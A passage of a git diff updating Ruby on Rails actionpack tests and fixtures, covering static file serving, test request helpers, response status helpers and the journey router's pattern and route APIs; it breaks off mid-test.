Rack::MockRequest.new(app).request("GET", "/index.html") + assert_html "/index.html", response assert_equal "public, max-age=60", response.headers["Cache-Control"] end @@ -31,6 +69,7 @@ module StaticTests def test_serves_static_index_file_in_directory assert_html "/foo/index.html", get("/foo/index.html") + assert_html "/foo/index.html", get("/foo/index") assert_html "/foo/index.html", get("/foo/") assert_html "/foo/index.html", get("/foo") end @@ -40,8 +79,6 @@ module StaticTests end def test_served_static_file_with_non_english_filename - jruby_skip "Stop skipping if following bug gets fixed: " \ - "http://jira.codehaus.org/browse/JRUBY-7192" assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("ã“ã‚“ã«ã¡ã¯.html")}") end @@ -129,7 +166,7 @@ module StaticTests def test_does_not_modify_path_info file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js" - env = {'PATH_INFO' => file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip'} + env = {'PATH_INFO' => file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip', "REQUEST_METHOD" => 'POST'} @app.call(env) assert_equal file_name, env['PATH_INFO'] end @@ -153,6 +190,21 @@ module StaticTests assert_equal nil, response.headers['Vary'] end + def test_serves_files_with_headers + headers = { + "Access-Control-Allow-Origin" => 'http://rubyonrails.org', + "Cache-Control" => 'public, max-age=60', + "X-Custom-Header" => "I'm a teapot" + } + + app = ActionDispatch::Static.new(DummyApp, @root, headers: headers) + response = Rack::MockRequest.new(app).request("GET", "/foo/bar.html") + + assert_equal 'http://rubyonrails.org', response.headers["Access-Control-Allow-Origin"] + assert_equal 'public, max-age=60', response.headers["Cache-Control"] + assert_equal "I'm a teapot", response.headers["X-Custom-Header"] + end + # Windows doesn't allow \ / : * ? " < > | in filenames unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ def test_serves_static_file_with_colon @@ -203,13 +255,10 @@ module StaticTests end class StaticTest < ActiveSupport::TestCase - DummyApp = lambda { |env| - [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]] - } - def setup + super @root = "#{FIXTURE_LOAD_PATH}/public" - @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60") + @app = ActionDispatch::Static.new(DummyApp, @root, headers: {'Cache-Control' => "public, max-age=60"}) end def public_path @@ -233,12 +282,26 @@ class StaticTest < ActiveSupport::TestCase } assert_equal(DummyApp.call(nil), @app.call(env)) end + + def test_non_default_static_index + @app = ActionDispatch::Static.new(DummyApp, @root, index: "other-index") + assert_html "/other-index.html", get("/other-index.html") + assert_html "/other-index.html", get("/other-index") + assert_html "/other-index.html", get("/") + assert_html "/other-index.html", get("") + assert_html "/foo/other-index.html", get("/foo/other-index.html") + assert_html "/foo/other-index.html", get("/foo/other-index") + assert_html "/foo/other-index.html", get("/foo/") + assert_html "/foo/other-index.html", get("/foo") + end + end class StaticEncodingTest < StaticTest def setup + super @root = "#{FIXTURE_LOAD_PATH}/公共" - @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60") + @app = ActionDispatch::Static.new(DummyApp, @root, headers: {'Cache-Control' => "public, max-age=60"}) end def public_path diff --git a/actionpack/test/dispatch/template_assertions_test.rb b/actionpack/test/dispatch/template_assertions_test.rb deleted file mode 100644 index 7278754b49..0000000000 --- a/actionpack/test/dispatch/template_assertions_test.rb +++ /dev/null @@ -1,110 +0,0 @@ -require 'abstract_unit' - -class AssertTemplateController < ActionController::Base - def render_with_partial - render partial: 'test/partial' - end - - def render_with_template - render 'test/hello_world' - end - - def render_with_layout - @variable_for_layout = 'hello' - render 'test/hello_world', layout: "layouts/standard" - end - - def render_with_file - render file: 'README.rdoc' - end - - def render_nothing - head :ok - end -end - -class AssertTemplateControllerTest < ActionDispatch::IntegrationTest - def test_template_reset_between_requests - get '/assert_template/render_with_template' - assert_template 'test/hello_world' - - get '/assert_template/render_nothing' - assert_template nil - end - - def test_partial_reset_between_requests - get '/assert_template/render_with_partial' - assert_template partial: 'test/_partial' - - get '/assert_template/render_nothing' - assert_template partial: nil - end - - def test_layout_reset_between_requests - get '/assert_template/render_with_layout' - assert_template layout: 'layouts/standard' - - get '/assert_template/render_nothing' - assert_template layout: nil - end - - def test_file_reset_between_requests - get '/assert_template/render_with_file' - assert_template file: 'README.rdoc' - - get '/assert_template/render_nothing' - assert_template file: nil - end - - def test_template_reset_between_requests_when_opening_a_session - open_session do |session| - session.get '/assert_template/render_with_template' - session.assert_template 'test/hello_world' - - session.get '/assert_template/render_nothing' - session.assert_template nil - end - end - - def test_partial_reset_between_requests_when_opening_a_session - open_session do |session| - session.get '/assert_template/render_with_partial' - session.assert_template partial: 'test/_partial' - - session.get '/assert_template/render_nothing' - session.assert_template partial: nil - end - end - - def test_layout_reset_between_requests_when_opening_a_session - open_session do |session| - session.get '/assert_template/render_with_layout' - session.assert_template layout: 'layouts/standard' - - session.get '/assert_template/render_nothing' - session.assert_template layout: nil - end - end - - def test_file_reset_between_requests_when_opening_a_session - open_session do |session| - session.get '/assert_template/render_with_file' - session.assert_template file: 'README.rdoc' - - session.get '/assert_template/render_nothing' - session.assert_template file: nil - end - end - - def test_assigns_do_not_reset_template_assertion - get '/assert_template/render_with_layout' - assert_equal 'hello', assigns(:variable_for_layout) - assert_template layout: 'layouts/standard' - end - - def test_cookies_do_not_reset_template_assertion - get '/assert_template/render_with_layout' - cookies - assert_template layout: 'layouts/standard' - end -end diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb index cc35d4594e..3c19cbd68a 100644 --- a/actionpack/test/dispatch/test_request_test.rb +++ b/actionpack/test/dispatch/test_request_test.rb @@ -2,7 +2,7 @@ require 'abstract_unit' class TestRequestTest < ActiveSupport::TestCase test "sane defaults" do - env = ActionDispatch::TestRequest.new.env + env = ActionDispatch::TestRequest.create.env assert_equal "GET", env.delete("REQUEST_METHOD") assert_equal "off", env.delete("HTTPS") @@ -24,12 +24,10 @@ class TestRequestTest < ActiveSupport::TestCase assert_equal true, env.delete("rack.multithread") assert_equal true, env.delete("rack.multiprocess") assert_equal false, env.delete("rack.run_once") - - assert env.empty?, env.inspect end test "cookie jar" do - req = ActionDispatch::TestRequest.new + req = ActionDispatch::TestRequest.create({}) assert_equal({}, req.cookies) assert_equal nil, req.env["HTTP_COOKIE"] @@ -55,43 +53,68 @@ class TestRequestTest < ActiveSupport::TestCase assert_cookies({"user_name" => "david"}, req.cookie_jar) end - test "does not complain when Rails.application is nil" do - Rails.stubs(:application).returns(nil) - req = ActionDispatch::TestRequest.new - + test "does not complain when there is no application config" do + req = ActionDispatch::TestRequest.create({}) assert_equal false, req.env.empty? end test "default remote address is 0.0.0.0" do - req = ActionDispatch::TestRequest.new + req = ActionDispatch::TestRequest.create({}) assert_equal '0.0.0.0', req.remote_addr end test "allows remote address to be overridden" do - req = ActionDispatch::TestRequest.new('REMOTE_ADDR' => '127.0.0.1') + req = ActionDispatch::TestRequest.create('REMOTE_ADDR' => '127.0.0.1') assert_equal '127.0.0.1', req.remote_addr end test "default host is test.host" do - req = ActionDispatch::TestRequest.new + req = ActionDispatch::TestRequest.create({}) assert_equal 'test.host', req.host end test "allows host to be overridden" do - req = ActionDispatch::TestRequest.new('HTTP_HOST' => 'www.example.com') + req = ActionDispatch::TestRequest.create('HTTP_HOST' => 'www.example.com') assert_equal 'www.example.com', req.host end test "default user agent is 'Rails Testing'" do - req = ActionDispatch::TestRequest.new + req = ActionDispatch::TestRequest.create({}) assert_equal 'Rails Testing', req.user_agent end test "allows user agent to be overridden" do - req = ActionDispatch::TestRequest.new('HTTP_USER_AGENT' => 'GoogleBot') + req = ActionDispatch::TestRequest.create('HTTP_USER_AGENT' => 'GoogleBot') assert_equal 'GoogleBot', req.user_agent end + test "setter methods" do + req = ActionDispatch::TestRequest.create({}) + get = 'GET' + + [ + 'request_method=', 'host=', 'request_uri=', 'path=', 'if_modified_since=', 'if_none_match=', + 'remote_addr=', 'user_agent=', 'accept=' + ].each do |method| + req.send(method, get) + end + + req.port = 8080 + req.accept = 'hello goodbye' + + assert_equal(get, req.get_header('REQUEST_METHOD')) + assert_equal(get, req.get_header('HTTP_HOST')) + assert_equal(8080, req.get_header('SERVER_PORT')) + assert_equal(get, req.get_header('REQUEST_URI')) + assert_equal(get, req.get_header('PATH_INFO')) + assert_equal(get, req.get_header('HTTP_IF_MODIFIED_SINCE')) + assert_equal(get, req.get_header('HTTP_IF_NONE_MATCH')) + assert_equal(get, req.get_header('REMOTE_ADDR')) + assert_equal(get, req.get_header('HTTP_USER_AGENT')) + assert_nil(req.get_header('action_dispatch.request.accepts')) + assert_equal('hello goodbye', req.get_header('HTTP_ACCEPT')) + end + private def assert_cookies(expected, cookie_jar) assert_equal(expected, cookie_jar.instance_variable_get("@cookies")) diff --git a/actionpack/test/dispatch/test_response_test.rb b/actionpack/test/dispatch/test_response_test.rb index dc17668def..a4f9d56a6a 100644 --- a/actionpack/test/dispatch/test_response_test.rb +++ b/actionpack/test/dispatch/test_response_test.rb @@ -11,10 +11,9 @@ class TestResponseTest < ActiveSupport::TestCase end test "helpers" do - assert_response_code_range 200..299, :success? - assert_response_code_range [404], :missing? - assert_response_code_range 300..399, :redirect? - assert_response_code_range 500..599, :error? + assert_response_code_range 200..299, :successful? + assert_response_code_range [404], :not_found? + assert_response_code_range 300..399, :redirection? assert_response_code_range 500..599, :server_error? assert_response_code_range 400..499, :client_error? end diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb index ce1e1d0a6a..8c9782bb90 100644 --- a/actionpack/test/dispatch/url_generation_test.rb +++ b/actionpack/test/dispatch/url_generation_test.rb @@ -8,7 +8,7 @@ module TestUrlGeneration class ::MyRouteGeneratingController < ActionController::Base include Routes.url_helpers def index - render :text => foo_path + render plain: foo_path end end @@ -129,6 +129,13 @@ module TestUrlGeneration ) end + test "generating URLS with empty querystring" do + assert_equal "/bars.json", bars_path( + a: {}, + format: 'json' + ) + end + end end diff --git a/actionpack/test/fixtures/collection_cache/index.html.erb b/actionpack/test/fixtures/collection_cache/index.html.erb index 521b1450df..853e501ab4 100644 --- a/actionpack/test/fixtures/collection_cache/index.html.erb +++ b/actionpack/test/fixtures/collection_cache/index.html.erb @@ -1 +1 @@ -<%= render @customers %>
\ No newline at end of file +<%= render partial: 'customers/customer', collection: @customers, cached: true %> diff --git a/actionpack/test/fixtures/customers/_commented_customer.html.erb b/actionpack/test/fixtures/customers/_commented_customer.html.erb index d5f6e3b491..8cc9c1ec13 100644 --- a/actionpack/test/fixtures/customers/_commented_customer.html.erb +++ b/actionpack/test/fixtures/customers/_commented_customer.html.erb @@ -1,4 +1,5 @@ <%# I'm a comment %> <% cache customer do %> + <% controller.partial_rendered_times += 1 %> <%= customer.name %>, <%= customer.id %> <% end %>
\ No newline at end of file diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionpack/test/fixtures/customers/_customer.html.erb index 67e9f6d411..5105090d4b 100644 --- a/actionpack/test/fixtures/customers/_customer.html.erb +++ b/actionpack/test/fixtures/customers/_customer.html.erb @@ -1,3 +1,4 @@ <% cache customer do %> + <% controller.partial_rendered_times += 1 %> <%= customer.name %>, <%= customer.id %> <% end %>
\ No newline at end of file diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb new file mode 100644 index 0000000000..951c761995 --- /dev/null +++ b/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb @@ -0,0 +1,3 @@ +<body> +<%= cache 'with_options', skip_digest: true, expires_in: 10 do %><p>ERB</p><% end %> +</body> diff --git a/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb b/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb new file mode 100644 index 0000000000..ded99ba52d --- /dev/null +++ b/actionpack/test/fixtures/implicit_render_test/empty_action_with_mobile_variant.html+mobile.erb @@ -0,0 +1 @@ +mobile diff --git a/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb b/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb new file mode 100644 index 0000000000..dd294f8cf6 --- /dev/null +++ b/actionpack/test/fixtures/implicit_render_test/empty_action_with_template.html.erb @@ -0,0 +1 @@ +<h1>Empty action rendered this implicitly.</h1> diff --git a/actionpack/test/fixtures/layouts/standard.html.erb b/actionpack/test/fixtures/layouts/standard.html.erb index 5e6c24fe39..48882dca35 100644 --- a/actionpack/test/fixtures/layouts/standard.html.erb +++ b/actionpack/test/fixtures/layouts/standard.html.erb @@ -1 +1 @@ -<html><%= yield %><%= @variable_for_layout %></html>
\ No newline at end of file +<html><%= yield %><%= @variable_for_layout %></html> diff --git a/actionpack/test/fixtures/multipart/utf8_filename b/actionpack/test/fixtures/multipart/utf8_filename new file mode 100644 index 0000000000..60738d53b0 --- /dev/null +++ b/actionpack/test/fixtures/multipart/utf8_filename @@ -0,0 +1,10 @@ +--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="ファイル%å.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
diff --git a/actionpack/test/fixtures/public/foo/other-index.html b/actionpack/test/fixtures/public/foo/other-index.html new file mode 100644 index 0000000000..51c90c26ea --- /dev/null +++ b/actionpack/test/fixtures/public/foo/other-index.html @@ -0,0 +1 @@ +/foo/other-index.html
\ No newline at end of file diff --git a/actionpack/test/fixtures/public/other-index.html b/actionpack/test/fixtures/public/other-index.html new file mode 100644 index 0000000000..0820dfcb6e --- /dev/null +++ b/actionpack/test/fixtures/public/other-index.html @@ -0,0 +1 @@ +/other-index.html
\ No newline at end of file diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_template_rendering.html+mobile.erb index 317801ad30..317801ad30 100644 --- a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb +++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_template_rendering.html+mobile.erb diff --git a/actionpack/test/fixtures/公共/foo/other-index.html b/actionpack/test/fixtures/公共/foo/other-index.html new file mode 100644 index 0000000000..51c90c26ea --- /dev/null +++ b/actionpack/test/fixtures/公共/foo/other-index.html @@ -0,0 +1 @@ +/foo/other-index.html
\ No newline at end of file diff --git a/actionpack/test/fixtures/公共/other-index.html b/actionpack/test/fixtures/公共/other-index.html new file mode 100644 index 0000000000..0820dfcb6e --- /dev/null +++ b/actionpack/test/fixtures/公共/other-index.html @@ -0,0 +1 @@ +/other-index.html
\ No newline at end of file diff --git a/actionpack/test/journey/nodes/symbol_test.rb b/actionpack/test/journey/nodes/symbol_test.rb index d411a5018a..adf85b860c 100644 --- a/actionpack/test/journey/nodes/symbol_test.rb +++ b/actionpack/test/journey/nodes/symbol_test.rb @@ -5,7 +5,7 @@ module ActionDispatch module Nodes class TestSymbol < ActiveSupport::TestCase def test_default_regexp? - sym = Symbol.new nil + sym = Symbol.new "foo" assert sym.default_regexp? sym.regexp = nil diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb index 6939b426f6..72858f5eda 100644 --- a/actionpack/test/journey/path/pattern_test.rb +++ b/actionpack/test/journey/path/pattern_test.rb @@ -4,6 +4,8 @@ module ActionDispatch module Journey module Path class TestPattern < ActiveSupport::TestCase + SEPARATORS = ["/", ".", "?"].join + x = /.+/ { '/:controller(/:action)' => %r{\A/(#{x})(?:/([^/.?]+))?\Z}, @@ -19,12 +21,12 @@ module ActionDispatch '/:foo|*bar' => %r{\A/(?:([^/.?]+)|(.+))\Z}, }.each do |path, expected| define_method(:"test_to_regexp_#{path}") do - strexp = Router::Strexp.build( + path = Pattern.build( path, { :controller => /.+/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_equal(expected, path.to_regexp) end end @@ -43,13 +45,12 @@ module ActionDispatch '/:foo|*bar' => %r{\A/(?:([^/.?]+)|(.+))}, }.each do |path, expected| define_method(:"test_to_non_anchored_regexp_#{path}") do - strexp = Router::Strexp.build( + path = Pattern.build( path, { :controller => /.+/ }, - ["/", ".", "?"], + SEPARATORS, false ) - path = Pattern.new strexp assert_equal(expected, path.to_regexp) end end @@ -67,27 +68,27 @@ module ActionDispatch '/:controller/*foo/bar' => %w{ controller foo }, }.each do |path, expected| define_method(:"test_names_#{path}") do - strexp = Router::Strexp.build( + path = Pattern.build( path, { :controller => /.+/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_equal(expected, path.names) end end def test_to_regexp_with_extended_group - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name', { :name => / #ROFL (tender|love #MAO )/x }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_match(path, '/page/tender') assert_match(path, '/page/love') assert_no_match(path, '/page/loving') @@ -105,23 +106,23 @@ module ActionDispatch end def test_to_regexp_match_non_optional - strexp = Router::Strexp.build( + path = Pattern.build( '/:name', { :name => /\d+/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_match(path, '/123') assert_no_match(path, '/') end def test_to_regexp_with_group - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name', { :name => /(tender|love)/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_match(path, '/page/tender') assert_match(path, '/page/love') assert_no_match(path, '/page/loving') @@ -129,15 +130,13 @@ module ActionDispatch def test_ast_sets_regular_expressions requirements = { :name => /(tender|love)/, :value => /./ } - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name/:value', requirements, - ["/", ".", "?"] + SEPARATORS, + true ) - assert_equal requirements, strexp.requirements - - path = Pattern.new strexp nodes = path.ast.grep(Nodes::Symbol) assert_equal 2, nodes.length nodes.each do |node| @@ -146,24 +145,24 @@ module ActionDispatch end def test_match_data_with_group - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name', { :name => /(tender|love)/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp match = path.match '/page/tender' assert_equal 'tender', match[1] assert_equal 2, match.length end def test_match_data_with_multi_group - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name/:id', { :name => /t(((ender|love)))()/ }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp match = path.match '/page/tender/10' assert_equal 'tender', match[1] assert_equal '10', match[2] @@ -173,30 +172,29 @@ module ActionDispatch def test_star_with_custom_re z = /\d+/ - strexp = Router::Strexp.build( + path = Pattern.build( '/page/*foo', { :foo => z }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_equal(%r{\A/page/(#{z})\Z}, path.to_regexp) end def test_insensitive_regexp_with_group - strexp = Router::Strexp.build( + path = Pattern.build( '/page/:name/aaron', { :name => /(tender|love)/i }, - ["/", ".", "?"] + SEPARATORS, + true ) - path = Pattern.new strexp assert_match(path, '/page/TENDER/aaron') assert_match(path, '/page/loVE/aaron') assert_no_match(path, '/page/loVE/AAron') end def test_to_regexp_with_strexp - strexp = Router::Strexp.build('/:controller', { }, ["/", ".", "?"]) - path = Pattern.new strexp + path = Pattern.build('/:controller', { }, SEPARATORS, true) x = %r{\A/([^/.?]+)\Z} assert_equal(x.source, path.source) diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb index 21d867aca0..22c3b8113d 100644 --- a/actionpack/test/journey/route_test.rb +++ b/actionpack/test/journey/route_test.rb @@ -7,7 +7,7 @@ module ActionDispatch app = Object.new path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))' defaults = {} - route = Route.new("name", app, path, {}, defaults) + route = Route.build("name", app, path, {}, [], defaults) assert_equal app, route.app assert_equal path, route.path @@ -18,30 +18,37 @@ module ActionDispatch app = Object.new path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))' defaults = {} - route = Route.new("name", app, path, {}, defaults) + route = Route.build("name", app, path, {}, [], defaults) route.ast.grep(Nodes::Terminal).each do |node| assert_equal route, node.memo end end + def test_path_requirements_override_defaults + path = Path::Pattern.build(':name', { name: /love/ }, '/', true) + defaults = { name: 'tender' } + route = Route.build('name', nil, path, {}, [], defaults) + assert_equal(/love/, route.requirements[:name]) + end + def test_ip_address path = Path::Pattern.from_string '/messages/:id(.:format)' - route = Route.new("name", nil, path, {:ip => '192.168.1.1'}, + route = Route.build("name", nil, path, {:ip => '192.168.1.1'}, [], { :controller => 'foo', :action => 'bar' }) assert_equal '192.168.1.1', route.ip end def test_default_ip path = Path::Pattern.from_string '/messages/:id(.:format)' - route = Route.new("name", nil, path, {}, + route = Route.build("name", nil, path, {}, [], { :controller => 'foo', :action => 'bar' }) assert_equal(//, route.ip) end def test_format_with_star path = Path::Pattern.from_string '/:controller/*extra' - route = Route.new("name", nil, path, {}, + route = Route.build("name", nil, path, {}, [], { :controller => 'foo', :action => 'bar' }) assert_equal '/foo/himom', route.format({ :controller => 'foo', @@ -51,7 +58,7 @@ module ActionDispatch def test_connects_all_match path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))' - route = Route.new("name", nil, path, {:action => 'bar'}, { :controller => 'foo' }) + route = Route.build("name", nil, path, {:action => 'bar'}, [], { :controller => 'foo' }) assert_equal '/foo/bar/10', route.format({ :controller => 'foo', @@ -62,34 +69,34 @@ module ActionDispatch def test_extras_are_not_included_if_optional path = Path::Pattern.from_string '/page/:id(/:action)' - route = Route.new("name", nil, path, { }, { :action => 'show' }) + route = Route.build("name", nil, path, { }, [], { :action => 'show' }) assert_equal '/page/10', route.format({ :id => 10 }) end def test_extras_are_not_included_if_optional_with_parameter path = Path::Pattern.from_string '(/sections/:section)/pages/:id' - route = Route.new("name", nil, path, { }, { :action => 'show' }) + route = Route.build("name", nil, path, { }, [], { :action => 'show' }) assert_equal '/pages/10', route.format({:id => 10}) end def test_extras_are_not_included_if_optional_parameter_is_nil path = Path::Pattern.from_string '(/sections/:section)/pages/:id' - route = Route.new("name", nil, path, { }, { :action => 'show' }) + route = Route.build("name", nil, path, { }, [], { :action => 'show' }) assert_equal '/pages/10', route.format({:id => 10, :section => nil}) end def test_score - constraints = {:required_defaults => [:controller, :action]} + constraints = {} defaults = {:controller=>"pages", :action=>"show"} path = Path::Pattern.from_string "/page/:id(/:action)(.:format)" - specific = Route.new "name", nil, path, constraints, defaults + specific = Route.build "name", nil, path, constraints, [:controller, :action], defaults path = Path::Pattern.from_string "/:controller(/:action(/:id))(.:format)" - generic = Route.new "name", nil, path, constraints + generic = Route.build "name", nil, path, constraints, [], {} knowledge = {:id=>20, :controller=>"pages", :action=>"show"} diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb index 19c61b5914..75caf56d32 100644 --- a/actionpack/test/journey/router_test.rb +++ b/actionpack/test/journey/router_test.rb @@ -1,41 +1,21 @@ -# encoding: UTF-8 require 'abstract_unit' module ActionDispatch module Journey class TestRouter < ActiveSupport::TestCase - attr_reader :routes + attr_reader :mapper, :routes, :route_set, :router def setup @app = Routing::RouteSet::Dispatcher.new({}) - @routes = Routes.new - @router = Router.new(@routes) - @formatter = Formatter.new(@routes) - end - - class FakeRequestFeeler < Struct.new(:env, :called) - def new env - self.env = env - self - end - - def hello - self.called = true - 'world' - end - - def path_info; env['PATH_INFO']; end - def request_method; env['REQUEST_METHOD']; end - def ip; env['REMOTE_ADDR']; end + @route_set = ActionDispatch::Routing::RouteSet.new + @routes = @route_set.router.routes + @router = @route_set.router + @formatter = @route_set.formatter + @mapper = ActionDispatch::Routing::Mapper.new @route_set end def test_dashes - router = Router.new(routes) - - exp = Router::Strexp.build '/foo-bar-baz', {}, ['/.?'] - path = Path::Pattern.new exp - - routes.add_route nil, path, {}, {:id => nil}, {} + get '/foo-bar-baz', to: 'foo#bar' env = rails_env 'PATH_INFO' => '/foo-bar-baz' called = false @@ -46,14 +26,9 @@ module ActionDispatch end def test_unicode - router = Router.new(routes) + get '/ã»ã’', to: 'foo#bar' #match the escaped version of /ã»ã’ - exp = Router::Strexp.build '/%E3%81%BB%E3%81%92', {}, ['/.?'] - path = Path::Pattern.new exp - - routes.add_route nil, path, {}, {:id => nil}, {} - env = rails_env 'PATH_INFO' => '/%E3%81%BB%E3%81%92' called = false router.recognize(env) do |r, params| @@ -62,110 +37,35 @@ module ActionDispatch assert called end - def test_request_class_and_requirements_success - klass = FakeRequestFeeler.new nil - router = Router.new(routes) - - requirements = { :hello => /world/ } - - exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?'] - path = Path::Pattern.new exp - - routes.add_route nil, path, requirements, {:id => nil}, {} - - env = rails_env({'PATH_INFO' => '/foo/10'}, klass) - router.recognize(env) do |r, params| - assert_equal({:id => '10'}, params) - end - - assert klass.called, 'hello should have been called' - assert_equal env.env, klass.env - end - - def test_request_class_and_requirements_fail - klass = FakeRequestFeeler.new nil - router = Router.new(routes) - - requirements = { :hello => /mom/ } - - exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?'] - path = Path::Pattern.new exp - - router.routes.add_route nil, path, requirements, {:id => nil}, {} - - env = rails_env({'PATH_INFO' => '/foo/10'}, klass) - router.recognize(env) do |r, params| - flunk 'route should not be found' - end - - assert klass.called, 'hello should have been called' - assert_equal env.env, klass.env - end - - class CustomPathRequest < ActionDispatch::Request - def path_info - env['custom.path_info'] - end - - def path_info=(x) - env['custom.path_info'] = x - end - end - - def test_request_class_overrides_path_info - router = Router.new(routes) - - exp = Router::Strexp.build '/bar', {}, ['/.?'] - path = Path::Pattern.new exp - - routes.add_route nil, path, {}, {}, {} - - env = rails_env({'PATH_INFO' => '/foo', - 'custom.path_info' => '/bar'}, CustomPathRequest) - - recognized = false - router.recognize(env) do |r, params| - recognized = true - end - - assert recognized, "route should have been recognized" - end - def test_regexp_first_precedence - add_routes @router, [ - Router::Strexp.build("/whois/:domain", {:domain => /\w+\.[\w\.]+/}, ['/', '.', '?']), - Router::Strexp.build("/whois/:id(.:format)", {}, ['/', '.', '?']) - ] + get "/whois/:domain", :domain => /\w+\.[\w\.]+/, to: "foo#bar" + get "/whois/:id(.:format)", to: "foo#baz" env = rails_env 'PATH_INFO' => '/whois/example.com' list = [] - @router.recognize(env) do |r, params| + router.recognize(env) do |r, params| list << r end assert_equal 2, list.length r = list.first - assert_equal '/whois/:domain', r.path.spec.to_s + assert_equal '/whois/:domain(.:format)', r.path.spec.to_s end def test_required_parts_verified_are_anchored - add_routes @router, [ - Router::Strexp.build("/foo/:id", { :id => /\d/ }, ['/', '.', '?'], false) - ] + get "/foo/:id", :id => /\d/, anchor: false, to: "foo#bar" assert_raises(ActionController::UrlGenerationError) do - @formatter.generate(nil, { :id => '10' }, { }) + @formatter.generate(nil, { :controller => "foo", :action => "bar", :id => '10' }, { }) end end def test_required_parts_are_verified_when_building - add_routes @router, [ - Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false) - ] + get "/foo/:id", :id => /\d+/, anchor: false, to: "foo#bar" - path, _ = @formatter.generate(nil, { :id => '10' }, { }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar", :id => '10' }, { }) assert_equal '/foo/10', path assert_raises(ActionController::UrlGenerationError) do @@ -174,25 +74,21 @@ module ActionDispatch end def test_only_required_parts_are_verified - add_routes @router, [ - Router::Strexp.build("/foo(/:id)", {:id => /\d/}, ['/', '.', '?'], false) - ] + get "/foo(/:id)", :id => /\d/, :to => "foo#bar" - path, _ = @formatter.generate(nil, { :id => '10' }, { }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar", :id => '10' }, { }) assert_equal '/foo/10', path - path, _ = @formatter.generate(nil, { }, { }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar" }, { }) assert_equal '/foo', path - path, _ = @formatter.generate(nil, { :id => 'aa' }, { }) + path, _ = @formatter.generate(nil, { :controller => "foo", :action => "bar", :id => 'aa' }, { }) assert_equal '/foo/aa', path end def test_knows_what_parts_are_missing_from_named_route route_name = "gorby_thunderhorse" - pattern = Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false) - path = Path::Pattern.new pattern - @router.routes.add_route nil, path, {}, {}, route_name + get "/foo/:id", :as => route_name, :id => /\d+/, :to => "foo#bar" error = assert_raises(ActionController::UrlGenerationError) do @formatter.generate(route_name, { }, { }) @@ -212,19 +108,16 @@ module ActionDispatch end def test_X_Cascade - add_routes @router, [ "/messages(.:format)" ] - resp = @router.serve(rails_env({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' })) + get "/messages(.:format)", to: "foo#bar" + resp = router.serve(rails_env({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' })) assert_equal ['Not Found'], resp.last assert_equal 'pass', resp[1]['X-Cascade'] assert_equal 404, resp.first end def test_clear_trailing_slash_from_script_name_on_root_unanchored_routes - route_set = Routing::RouteSet.new - mapper = Routing::Mapper.new route_set - app = lambda { |env| [200, {}, ['success!']] } - mapper.get '/weblog', :to => app + get '/weblog', :to => app env = rack_env('SCRIPT_NAME' => '', 'PATH_INFO' => '/weblog') resp = route_set.call env @@ -233,91 +126,85 @@ module ActionDispatch end def test_defaults_merge_correctly - path = Path::Pattern.from_string '/foo(/:id)' - @router.routes.add_route nil, path, {}, {:id => nil}, {} + get '/foo(/:id)', to: "foo#bar", id: nil env = rails_env 'PATH_INFO' => '/foo/10' - @router.recognize(env) do |r, params| - assert_equal({:id => '10'}, params) + router.recognize(env) do |r, params| + assert_equal({:id => '10', :controller => "foo", :action => "bar"}, params) end env = rails_env 'PATH_INFO' => '/foo' - @router.recognize(env) do |r, params| - 